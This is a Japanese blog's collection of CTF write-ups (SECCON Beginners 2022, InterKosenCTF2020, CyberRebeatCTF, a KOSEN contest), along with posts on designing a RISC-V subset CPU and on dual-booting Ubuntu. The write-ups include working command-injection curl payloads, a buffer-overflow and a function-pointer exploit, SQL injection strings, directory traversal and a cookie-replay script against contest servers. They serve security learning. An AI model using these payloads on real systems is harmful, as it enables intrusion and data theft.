SECCON Begginers CTF 2022 Write up
はじめに
SECCON Begginers CTF 2022に参加しました。前回参加したCTFがSECCON Begginers CTF2021な気がするので、1年ぶりのCTFでした。 チームは友人たちで自分含めて三人でした。 結果としては、チームで834pt、92位でした。
Web
Util (54 pt)
フォームに入力されたIPに対してping
コマンドが実行されるページが与えられます。
また、与えられたコードを見ると実行されているping
コマンドを組み立てているところは普通に複数のコマンドを繋げられそうです。
r.POST("/util/ping", func(c *gin.Context) { var param IP if err := c.Bind(¶m); err != nil { c.JSON(400, gin.H{"message": "Invalid parameter"}) return } commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2" result, _ := exec.Command("sh", "-c", commnd).CombinedOutput() c.JSON(200, gin.H{ "result": string(result), }) })
また、別で与えられたDockerfileを見ると/flag_<randam>
にFLAGが書き込まれていることがわかります。
なので、以下のコマンドを実行するとFLAGが手に入ります。
$ curl -X POST 'https://util.quals.beginners.seccon.jp/util/ping' -H 'Content-Type: application/json' -d '{"address": "1.1.1.1; ls /"}' $ curl -X POST 'https://util.quals.beginners.seccon.jp/util/ping' -H 'Content-Type: application/json' -d '{"address": "1.1.1.1; cat /flag_A74FIBkN9sELAjOc.txt"}'
textex (92 pt)
フォームに入力されたTeXをPDFにしてかえしてくるページが渡されます。
また、渡されたコードを見るとflag
という文字列が含まれていると.texファイルの中身が空になりエラーとなるようです。
ほかにもディレクトリ内にFLAGが書かれたファイルが置かれていることもわかります。
なので、ほかのファイルを読み込む\input
を使うことを考えました。
また、flag
のチェックを回避する方法としてコメントアウトでやる方法を考えました。
ここまでで、以下のようになります。
\documentclass{article} \begin{document} This is a sample. \input{fl% ag} \end{document}
しかし、このままだとエラーになります。
ローカルで動かすと動作するため、FLAG内にTeXとして解釈される記号が含まれていると思いました。
そこで、いろいろググった結果verbatim
環境を使うと行けそうです。
最終的に以下のようになりました。
\documentclass{article} \usepackage{verbatim} \begin{document} This is a sample. \verbatiminput{fl% ag} \end{document}
途中、実行時間とかの問題があるのかと思っていましたが結果としてはinputで記号が入ってたことが原因ぽかったです。
gallery (83 pt)
これは途中までチームメンバーが解いていたので、FLAGが含まれたPDFファイルがレスポンスのサイズ制限で取得できないようです。 ググったところHTTPリクエストにRangeヘッダーが存在することがわかり、これが使えそうです。 参考: developer.mozilla.org なので、Rangeヘッダーを使ってリクエストを送りローカルでつなげてPDFを手に入れます。
curl -H 'Range: bytes=0-10239' 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > 1.out curl -H 'Range: bytes=10240-20479' 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > 2.out cat 1.out 2.out > answer.pdf
これで、answer.pdfを開くとFLAGが書かれています。
Misc
phisher
これはチームメンバーがほぼやってくれたのでざっくりとだけ
www.example.com
を構成する文字を使わずにOCRにwww.example.com
と認識させる文字を送る問題です。
これは与えられたコードを見ると使われているフォントがわかるので、そのフォントを見ながらw -> ω
みたいな感じでやります。
.
が最期の難関でしたが、Unicode表から.
を検索して探してきたそうです。
H2 (69 pt)
パケットキャプチャの結果とサーバーのコードわたされます。
サーバーのコードを見ると、正解のパスにアクセスされるとx-flag
にFLAGを書き込んで返すように見えます。
そして、Wiresharkでパケットキャプチャの結果を開き、http2.header.name == "x-flag"
でフィルターをかけると正解のパケットが見つかります。
Pwn
BeginnersBof (84 pt)
タイトルと与えられたコードを見ると、バッファオーバーフローでmain関数からのリターンアドレスを書き換えて、FLAGを出力するwin関数へ飛べばよさそうにみえます。 途中で、gdbとか使いながらなんとかソルバーを書きました。 なんか、うまいことリターンアドレスに入らなかったんですよね。 ちょっとこのあたりのバイナリとかの知識がまだ足りない感じがします。 以下のコードもすごいむりやりです。
from pwn import * io = remote('beginnersbof.quals.beginners.seccon.jp', 9000) io.recvuntil(b'?') io.sendline(b'1000') io.recvuntil(b'?') io.sendline(b'A'*24+b'\x01\x01\x01\x01'+b'\x00'*12+b'\xe6\x11\x40\x00\x00\x00\x00\x00'*2) print(io.recvline()) print(io.recvline()) print(io.recvline())
Reversing
Quiz (50 pt)
これは、与えられたバイナリをradare2で解析したらそのままFLAGが書かれていたので、これで終わりです。
WinTLS (100 pt)
これは、ウィンドウが開き、そこに入力された文字列とFLAGを比較する感じのexeファイルが与えられます。
バイナリを見ると二つに分割されたFLAGが書かれていますが、ちょっと順番が工夫されているのでそのままでは読めません。
いろいろバイナリを読んでみたのですがわからなかったので、IDAで実行し、入力にabcdefg...
を与えて、それぞれの文字が分割されたFLAGのどちら側になるかを見て、あとは手動で復元しました。
Crypto
CoughingFox (55 pt)
これは、与えられたコードを見ると、FLAGの各文字列に対してインデックスと和をとり2乗してインデックスを足した結果をシャッフルしていることがわかります。 output.txtのそれぞれの要素で、平方数との差をとっていいかんじにすればいいとわかったので、CTF初参加のチームメンバーに解けそうな問題だよと言って渡しました。
PrimeParty (127 pt)
こちらから3つの任意の素数をnに追加できるRSA暗号です。 なので、十分に大きな素数を用意してこちらから与えた素数のみを使ってRSA暗号を解くとそのままFLAGが復号できます。 これ、実は素数一つで行けるはずなんですがうまくいかなかったので2つ使ってます。
from Crypto.Util.number import * from pwn import * bits = 255 io = remote('primeparty.quals.beginners.seccon.jp', 1336) io.recvuntil(b' > ') prime1 = getPrime(bits) print(prime1) io.sendline(str(prime1).encode()) print(io.recvuntil(b' > ')) prime2 = getPrime(bits) print(prime2) io.sendline(str(prime2).encode()) print(io.recvuntil(b' > ')) prime3 = getPrime(bits) print(prime3) io.sendline(str(prime3).encode()) print(io.recvline()) print(io.recvline()) n = int(io.recvline().decode('ascii').replace('n = ', '')) e = int(io.recvline().decode('ascii').replace('e = ', '')) c = int(io.recvline().decode('ascii').replace('cipher = ', '')) print(c) l = (prime1-1)*(prime2-1) d = inverse(e, l) print(long_to_bytes(pow(c, d, prime1*prime2)))
おわりに
ひさしぶりのCTFでしたので基本的な問題を一通り解くみたいな感じにできてよかったとは思っています。 新しいことができた的な意味では、ブランク分成長してないですね。 まあ、CTFはまったりやります。
RISC-Vもどきを作った話
はじめに
学校の課題でCPUの設計を行うといったものが出ました. そこで,せっかくCPUを設計するなら頑張ってみようと思ったのでRISC-Vのサブセットを命令セットに持つCPUを設計してみました.
命令セット
今回,設計したCPUの命令セットはRV32Iのサブセットにしました. 実装したCPU命令を一覧が下の表です.オペランドなど詳しい説明は別のところを見てください. 大方の命令は実装しました.
命令 | 簡単な説明 |
---|---|
ADD | 加算 |
SUB | 減算 |
SLL | 左シフト |
SLT | 符号付比較 |
SLTU | 符号なし比較 |
XOR | 排他的論理和 |
SRL | 論理右シフト |
SRA | 算術右シフト |
OR | 論理和 |
AND | 論理積 |
ADDI | 即値との加算 |
SLTI | 即値との符号付比較 |
SLTIU | 即値との符号なし比較 |
XORI | 即値との排他的論理和 |
ORI | 即値との論理和 |
ANDI | 即値との論理積 |
SLLI | 即値分左シフト |
SRLI | 即値分右論理シフト |
SRAI | 即値分右算術シフト |
LUI | レジスタの上位20bitをセット |
JAL | 即値分ジャンプ |
JALR | レジスタ+即値にジャンプ |
BEQ | 等しいときにジャンプ |
BNE | 等しくないときにジャンプ |
BLT | (A<B)のときジャンプ (符号付比較) |
BGE | (A>=B)のときジャンプ (符号付比較) |
BLTU | (A<B)のときジャンプ (符号なし比較) |
BGEU | (A>=B)のときジャンプ (符号なし比較) |
SW | レジスタの内容をメモリにセット |
LW | メモリの内容をレジスタにセット |
CPUの構成
設計したCPUのアーキテクチャの図を下に載せておきます.(コード書いた後にまとめなおしたものなのでミスがあるかもしれない)
アセンブラ
CPUの動作テストをするために簡単なアセンブラをPythonで実装しました. これには,上記の命令と即値をレジスタにセットするLUI+ADDIの2命令に変換される追加命令を実装しました.
書いたコード
書いたコードはGitHubにおいてあります.(https://github.com/tadaren/CPU_RV32I) テスト用に書いたアセンブリとそれのアセンブラも一緒においてあります.
感想
授業きっかけで,漠然とやりたいと思ってたCPUの設計ができてよかった. CPU設計をする面でいえば,RISCとかみたいに命令数が少なくて,固定長なほうが楽だとは思った.けど,コンパイラを考えると,もっと命令はあるほうが実装は楽だと思う,比較命令のとかを見ると,順番を入れ替えたりしてアセンブリにしていくのとか地味に面倒だと思う. 大体半月ぐらいの余裕時間の半分をこれに咲いたけど,一部命令を時間の問題で実装できなかったのは非常に残念です.いったんこれでやめるけど,また時間ができたら続きを実装したいと思う.それに,コンパイラとかも書いてみると面白そうなのでやってみたい. CPUの構成も,今回は1クロックですべて回すようにしたから,クロックをそんなに早くできないと思うけど,今度はパイプラインとかもやってみたいと思う.
参考にしたサイト
http://exp.mtl.t.u-tokyo.ac.jp/2020/b3exp/wikis/RISCVISA http://am.ics.keio.ac.jp/parthenon/rvmicro.pdf https://www.k0b0srecord.com/entry/2018/02/14/112505
InterKosenCTF2020に参加した話
はじめに
ブログも久しぶり,CTFも久しぶりです. あまりに久しぶりすぎて,ダメダメでしたが(久しぶりでなくてもダメです)適当に解いた問題のWriteupを書いていきます.
結果
一応結果を書いておくと,2人チームで出場してました. チーム名: TearDropsで684pts(43位),個人: Tadarenで584pts(63位)です.
本編
ciphertexts
与えられるのは暗号化するスクリプトとその結果です.
スクリプトの内容を見ると,p, q, rの素数を用いたRSA暗号なことがわかります. ここで,n2がn1のr倍になっているのでc2のn2をいい感じにn1に変換できます. すると,c1, c2'が同じn1で割った余りになるのでCommon Modulus Attackができます.
import gmpy2 from Crypto.Util.number import * with open('output.txt') as f: n1 = int(f.readline().split('= ')[1]) n2 = int(f.readline().split('= ')[1]) e1 = int(f.readline().split('= ')[1]) e2 = int(f.readline().split('= ')[1]) f.readline() c1 = int(f.readline().split('= ')[1]) c2 = int(f.readline().split('= ')[1]) r = n2/n1 c22 = c2 % n1 gcd, s1, s2 = gmpy2.gcdext(e1, e2) if s1 < 0: s1 = -s1 c1 = gmpy2.invert(c1, n1) v = pow(c1, s1, n1) w = pow(c22, s2, n1) m = (v*w) % n1 print(long_to_bytes(m))
flag: KosenCTF{HALDYN_D0M3}
matsushima2
ブラックジャックをするサイトと,そのソースが与えられます. ブラックジャックをして,チップの数が999999を超えたらflagが手に入ります. また,チップは100から始まって常に全賭けです. なので,14回連続で勝利すればOKです. ブラックジャックが強い人なら勝てばいいと思います.
僕は違うので,別の方法で行きます. API部分のソースを見ると,JWTで暗号化されたステートがcookieで保存されていることがわかり,それを受け取って次の処理が行われていることがわかります. ステートが全てcookieに乗っているので,負けたとしても前のcookieを保存しておいてそれを使えば負けたことをなかったことにできます. これを,適当に実装して合計14回勝利するのを待ちます.
import requests import time print('start') res = requests.post('http://web.kosenctf.com:14001/initialize') data = res.json() chip = int(data['chip']) score = int(data['player_score']) cookie = res.cookies['matsushima'] time.sleep(1) best_cookie = cookie while True: cookie = best_cookie while True: while score >= 0: if score < 17: print('hit') res = requests.post('http://web.kosenctf.com:14001/hit', cookies={'matsushima': cookie}) data = res.json() chip = int(data['chip']) score = int(data['player_score']) cookie = res.cookies['matsushima'] else: print('stand') res = requests.post('http://web.kosenctf.com:14001/stand', cookies={'matsushima': cookie}) data = res.json() chip = int(data['chip']) score = int(data['player_score']) cookie = res.cookies['matsushima'] score = -1 time.sleep(1) if chip > 1000000: print('gameClear') print(cookie) res = requests.get('http://web.kosenctf.com:14001/flag', cookies={'matsushima': cookie}) print(res.text) exit() if chip == 0: score = 1 print('gameover') break else: print('nextgame') res = requests.post('http://web.kosenctf.com:14001/nextgame', cookies={'matsushima': cookie}) data = res.json() print(data) chip = int(data['chip']) score = int(data['player_score']) cookie = res.cookies['matsushima'] best_cookie = cookie
flag: KosenCTF{r3m3mb3r_m475u5him4}
limited
あるサイトが攻撃されたときのパケットキャプチャ結果が与えられます. そこから,flagを探します.
wiresharkを用いて中身を見ているとhttp://moxxie.tk:8080/search.php?keyword=&search_max=%28SELECT+unicode%28substr%28secret%2C+1%2C+1%29%29+FROM+account+WHERE+name%3D%22admin%22%29+%25+19
的なリクエストが見つかると思います.
このサイトではsearch_max個の結果を出力するっぽいです.
そして,search_maxに入っているSQLクエリは(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 19
です.
これは,adminアカウントのsecretの1文字目の文字コードを19で割った余りという意味です.
これが,search_maxに入っているので帰って来たHTMLの中の要素の個数を見れば文字のヒントが得られます.
このようなクエリがたくさんあるので,そこから文字のインデックス,割る数,結果をまとめて,flagを計算するスクリプトを書きます.
from scapy.all import * from scapy.layers.http import HTTP PCAP_FILE_PATH = 'packet.pcap' def is_target_packet(packet): return HTTP in packet and ( packet[IP].dst == '124.41.115.112' or packet[IP].src == '124.41.115.112') def parse(file_path): packets = rdpcap(file_path).filter(is_target_packet)[10:] data = {} for cnt, packet in enumerate(packets): if cnt % 2: tmp = str(packet[HTTP]).split('<th scope="row">')[-1] try: res = int(tmp.split('</th>')[0]) except: res = 0 if data.get(index, None) is None: data[index] = [] data[index].append((mod, res)) print(res) else: index = int(str(packet[HTTP]).split('%2C')[1][1:]) mod = int(str(packet[HTTP]).split()[1].split('+')[-1]) print(index, mod) print('---------------') for d in data.values(): for i in range(33, 127): is_valid = True for dd in d: if i % dd[0] != dd[1]: is_valid = False if is_valid: print(chr(i), end='') break if __name__ == '__main__': parse(PCAP_FILE_PATH)
flag: KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}
babysort
アクセス先と,そのELF実行バイナリとソースが与えられます. ncでアクセスすると与えられた5つの数字を昇順 or 降順にソートするようです.
ここで,ソースをみるとシェルを呼び出す関数があるので,これを呼び出せば良いことがわかります. また,関数ポインタで呼んでいるところがあるのでここにその関数を入れたいと思います.
SortExperiment構造体の中にlong型の配列と関数ポインタの配列があります.
これらはメモリ上で連続なので関数ポインタのインデックスをlong型の配列方向に配列外にして,その座標にwin関数のアドレスを入れます.
win関数のアドレスは実行バイナリをradare2を使って適当に調べました.結果は0x00400787
でした.
あとは,数値として入力するのでこの値を10進数に変換して投げつけます.
nc pwn.kosenctf.com 9001 -*-*- Sort Experiment -*-*- elm[0] = 1 elm[1] = 2 elm[2] = 3 elm[3] = 4 elm[4] = 4196231 [0] Ascending / [1] Descending: -1 ls chall flag-165fa1768a33599b04fbb4f7a05d0d26.txt redir.sh cat flag-165fa1768a33599b04fbb4f7a05d0d26.txt KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}
flag: KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}
終わりに
久しぶりにCTFに出たので勘とかが鈍っている感じがしました. けど,スクリプトかいてflagがきれいに出て来たときはテンションが上がりますね.
WindowsPCに外付けSSD(HDD)でデュアルブートした話
はじめに
数ヶ月前,研究室ではWindowsを使っていたがLinuxを使いたくなったので外付けHDDでデュアルブートをした時のメモです. 写真とかは撮ってないので本当にメモ程度です.
環境
WindowsPC: lenovoのデスクトップPC
Linux: Ubuntu18.04
手順
- UbuntuのLiveUSBを作る
- UbuntuのLive環境を起動する
- Live環境からGPartedで外付けSSDのパーティションを設定する
- インストール先ディスクを外付けSSDに指定して通常通りインストールする(ブートローダーのインストール先に気をつける)
- BIOSの起動ディスク順序を変更する
最後に
気が向いたらさらに追記します
CyberRebeatCTFに参加した(WriteUp)
はじめに
CyberRebeatCTFに参加しました.元々は一人で参加する予定でしたが,始まってから友人を誘いましたが彼は早々に諦めたので実質一人でした.
結果ですが,22位でした.一人だった割に頑張ったと思います.(多分)
ということで,WriteUpを書きました.
Binary
SimpleBinary
fileコマンドで見た所LinuxのバイナリっぽかったのでUbuntu(WSL)で実行した.けれど特に何も出てこなかった.
なので,radare2でバイナリ解析したりしながら,gdbで実行し,main関数終了手前でブレークしたらFLAGがレジスタに入ってた.
crackme
fileコマンドで確認したらARMのバイナリだったので,qemu-user-staticとかで実行したら,Usageが出てきたので実行時引数に適当な文字を入れたらWrong!だった(当たり前).radare2でバイナリを見てるとflag.encryptedとかいう文字列をいじいじしているのが見えたのでflag.encryptedを見たらCRCTFに変換できそうな先頭をしていたので書き出して変換するスクリプトを書いた.
enc = [ 0xb0, 0xa1, 0xb0, 0xa7, 0xb5, 0x88, 0x9b, 0x96, 0x9f, 0x9f, 0x9c, 0xac, 0xc7, 0x81, 0x9e, 0xac, 0x84, 0x9c, 0x81, 0x9f, 0x97, 0xd2, 0x8e, ] key = 0x0c ff = 0xff for e in enc: print chr(e^key^ff)
Crypto
Rotation
問題文に文字が書いてあるけどぱっと見でROT13とかのシーザー的なやつだと思ったので適当に回したらFLAGが出てくる.問題文もそうだしね.
FLAG.encrypted
public-key.pemとFLAG.encryptedの2つのファイルが渡される.まあ,どうせRSAだと思ったのでRsaCtfToolを使って復号した.
Misc
Readne
画像が渡されるが,ぱっと見で日本人には読めないフォントで書かれているのはわかったので,ググって見ながらFLAGを出した.
Programming
Calculation
与えられた所にncすると計算式が出てくる.これに何回か答えたらFLAGが出てくるというやつだった.
前にも解いたことのある感じだったので適当にスクリプトを書いた.
from pwn import * rm = remote("59.106.212.75", 8080) res = rm.recv(2046) while True: res = rm.recv(2046) print res rm.sendline(str(eval(res)))
FLAGが出てきたら無理やる止まるけど解けたらいいでしょ()
Prime Factor
これもncすると数字が出てくる.これの最大の素因数を答えていくものだった.
これも上と同じように書いた.
from pwn import * import sympy rm = remote("59.106.212.75", 8081) res = rm.recv(2046) while True: res = rm.recv(2046) print res f = sympy.factorint(int(res)) print sorted(f.keys())[-1] rm.sendline(str(sorted(f.keys())[-1]))
Visual Novels
ncすると色々値が帰ってくるがナップサック問題を解く感じだった.ナップサック問題とかの実装があるライブラリを使って解いた.送られてきたデータをパースするのがめんどくさかった.(多分使い慣れていないから)
from pwn import * from ortoolpy import knapsack rm = remote("59.106.212.75", 8082) res = rm.recv(2046) flag = True while True: res = rm.recv(2046).decode("utf-8") print(res) out = res.split("\n") # print(out) if flag: p = int(out[1].split()[-1]) else: p = int(out[0].split()[-1]) # print(out[3:-3]) if flag: size = [int(e.split()[0][1:-1]) for e in out[3:-3]] print(size) weight = [int(e.split()[1][:-2]) for e in out[3:-3]] print(weight) flag = False else: size = [int(e.split()[0][1:-1]) for e in out[2:-3]] print(size) weight = [int(e.split()[1][:-2]) for e in out[2:-3]] print(weight) result = int(knapsack(size, weight, p)[0]) print(result) rm.sendline(str(result)) res = rm.recv(2046) print(res)
Recon
Tweet
Let's check our official twitter account!と書いてあったのでCyberRebeat (@CyberRebeat) | Twitterに行ったらFLAGがツイートされていた.
CyberRebeatScripts
Do you know Github?と言われたので探すとGitHub - ennach/CyberRebeatScripts: CyberRebeat's script filesこんなのがあった. 色々見たら最新のcommitのコメントがdelete FLAGだったのでhistoryを見たらFLAGがあった.
ChangeHistory
I changed my history on Github!と書いてあった.これもgithubかと思いながら探すとGitHub - ennach/ChangeHistory: CyberRebeat's scripts 2がある. これはなかなか分からなかったけど,issueのコミットハッシュをURLで指定すれば消されたcommitが見られるので終わり.
Stegano
Secret.pdf
FLAGが黒塗りにされたpdfが渡される,これは黒塗り部分をコピペすればできる.簡単
Alpha
画像が渡される.タイトルからpng画像のalpha値に隠されていると思ったけどうまいことできなかった. けど,色々した後alphaの再開ビット抽出の2値画像でFLAGがわかった.
Trivia
Monero
「仮想通貨Moneroの採掘スクリプトで,逮捕された人もいる」みたいなことが書かれているのでcoinhiveだと思って,これがFLAGだった.
Crossword
最初どうやって解くんだこれ?ってなったけど問題ミスでクロスワードの問題txtが最初なかった.けど,出てきてからは普通にググりながら解くだけだった.答えに直接関わらない埋めにゲーム内容が強かった(解いてないけど).
Web
White page
与えられたページに行くとボタンだけがあった.なので,ブラウザの開発者ツールを開いたらidとpasswordのフォームが不可視になっていたのでstyleを消して問題文のid,passwordを入力すればFLAGが出てくる.この問題も最初ミスってたぽい.
Let's Tweet!
与えられたページに行くとTweetしてね感があるページにだった,ツイートしてそのURLを入力してねって感じだった.与えられたコードを見ると#CyberRebeatCTFのハッシュタグを確認してるぽかった.まあ,普通にツイートしてURLを入力したらFLAGが出てきた. この問題も最初ミスってた.
Uploader
与えられたページに行くと.検索用の入力フォームとログイン用のフォーム,そしてuploadされたファイルのリストがあった.
まずsqlインジェクションかなと思って' OR 1=1 --
を検索用の所に入力したらsecret.zipが出てきた.これを落としてunzipしようとしたらpasswordが要求された.さらに問題文にあったid,password(guest)でログインすると,sample.zipのパスワードがあった.このことからsecret.zipをアップロードしたharada
のパスワードがわかればいい.なのでsqlmapを使って.sqlインジェクションしてDBのtable求めてtableをdumpした.
終わり
一人だったけどそれなりに頑張れて楽しかった.結構ゲームの宣伝感が強かったけど面白そうだったので金があればやってみようかなと思う.
高専セキュリティコンテストに参加した(Write Up)
はじめに
おととい,昨日と高専セキュリティコンテストに参加してきました. 先輩,クラスメイト,後輩との4人で参加しまして結果は,4位でした.
頑張りましたけどやっぱり難しいですね. ですので,自分が解いた問題のWriteUpを書きたいと思います.
Write Up
Misc
大した問題ではないけど一応書いておきます.
更新されたIoTデバイス(50pt)
問題文(要約?)
HTTPリクエストで418が返されたらしいけど,その後,ある日のアップデートで返されなくなって美味しいお茶が出力されたらしい.
これを定義したプロトコルのRFCの番号をフラグにせよ.
418エラーコードでググるとHyper Text Coffee Pot Control Protocol - Wikipediaが出てくる. お茶が出力されたらしいのでRFC-7168でフラグがわかる.
君の名は(50pt)
CVE-2017-5753
CVE-2017-5715
が書かれているのでググるとSpectre - Wikipediaがわかる.
サイトを見ていただけなのに(50pt)
問題文
Webサイトを見ていたら,ウィルスがダウンロードされて起動された.
この攻撃手法の名前をフラグにせよ.
自分は名前がわからなかったのでググったけどドライブバイダウンロード - Wikipediaでわかる.
謎のファイル(100pt)
まず,ファイルをダウンロードするとZipなのがわかる. なので,解凍してみると色々ファイルとかがある. その中に,rename_me.xmlというファイルがある. つい最近,docxファイルを解凍したので知っていたがこれはdocxファイルだった. なので,rename_me.xmlを[Content_Types].xmlに書き換えて再び圧縮すれば開けるはずだった. しかし,開けなかった. なので,仕方なくword/document.xmlの中身を見てみたら.SCKOSENを構成できそうな文字が色々あった. なので抽出してみた.
S { S C D _ K O Z O C I S X P E _ } N I
すると,こんな感じだった. ここから,FLAG先頭のSCKOSENを選ぶと
S { S C D _ K O Z O C I S X P E _ } N I
こんな感じでいい感じに順番になっているなのでそれぞれのブロックの1,2,3で揃えるとFLAGになる.
Crypto
exchangeable if(100pt)
こんなが画像が渡される.
これをみると4文字分がわからない.
なので,strings out.jpeg
で見た所md5=2009....
となっているところがあった.
なので,4文字分を総当たりしてFLAGを作ってそのmd5ハッシュを比較し,一致すれば出力のコードを書いた.
import hashlib md5_ = "2009d1c114ed83f57cf8adde69fd6ca8" out = ["SCKOSEN{sHDtF1"+chr(i)+chr(j)+chr(k)+chr(l)+"NLTIWp}" for i in range(32, 127) for j in range(32, 127) for k in range(32, 127) for l in range(32, 127) if hashlib.md5("SCKOSEN{sHDtF1"+chr(i)+chr(j)+chr(k)+chr(l)+"NLTIWp}").hexdigest() == md5_] print(out)
(コードが汚いのは見逃してください) 最初はわからない4文字のmd5かと思ってしばらく解けなかったのはないしょです.
シンプルなQRコード(200pt)
右半分だけのQRコードを渡された.
これは,GitHub - waidotto/strong-qr-decoder: 強力なQRコードデコーダを使って解いた.
画像を見ながら人力で白:0,黒:1,不明:?となるtxtファイルを作って,./sqrt.py -e 2 -m 3 QR.txt
で実行した.この時,エラー訂正レベルは最大だと思ってマスクパターンはわからなかったから総当たりした.
Web
サーバーから情報を抜き出せ(100pt)
まず,ページにアクセスするとレゴの画像が3枚あったからデベロッパーツールでソースを見ると画像のリンクが/image?filename=1.jpeg
みたいになっていた.
だから,/image?filename=flag.txt
とかすれば行けると思ったけど無理だった.けど,/image?filename=../flag.txt
で1つ上の階層なだけだった.これでFLAGが出てくる.
進撃せよ(300pt)
まず,ページにアクセスするとflag.txtとtest.txtの2つのファイル名が書かれているリンクがある. flag.txtにアクセスするとWAFがflagの文字列でアクセスを拒否してきた.test.txtの方は普通にアクセスできたがtestと書かれているだけだった.そして,リンクを見るとbase64エンコードされているみたいだったので一応確認したらbase64だった.ディレクトリトラバーサルをbase64エンコードしてアクセスしたりしたけど,うまくいかなかった.なので,base64を2回すればいけるやろと適当にやったら通ってしまった.
終わり
進撃せよが解けたのは嬉しかったけど,CryptoとかBinaryの問題に関してあまり手が出なかったのが反省.次に向けてもっと精進しなければ...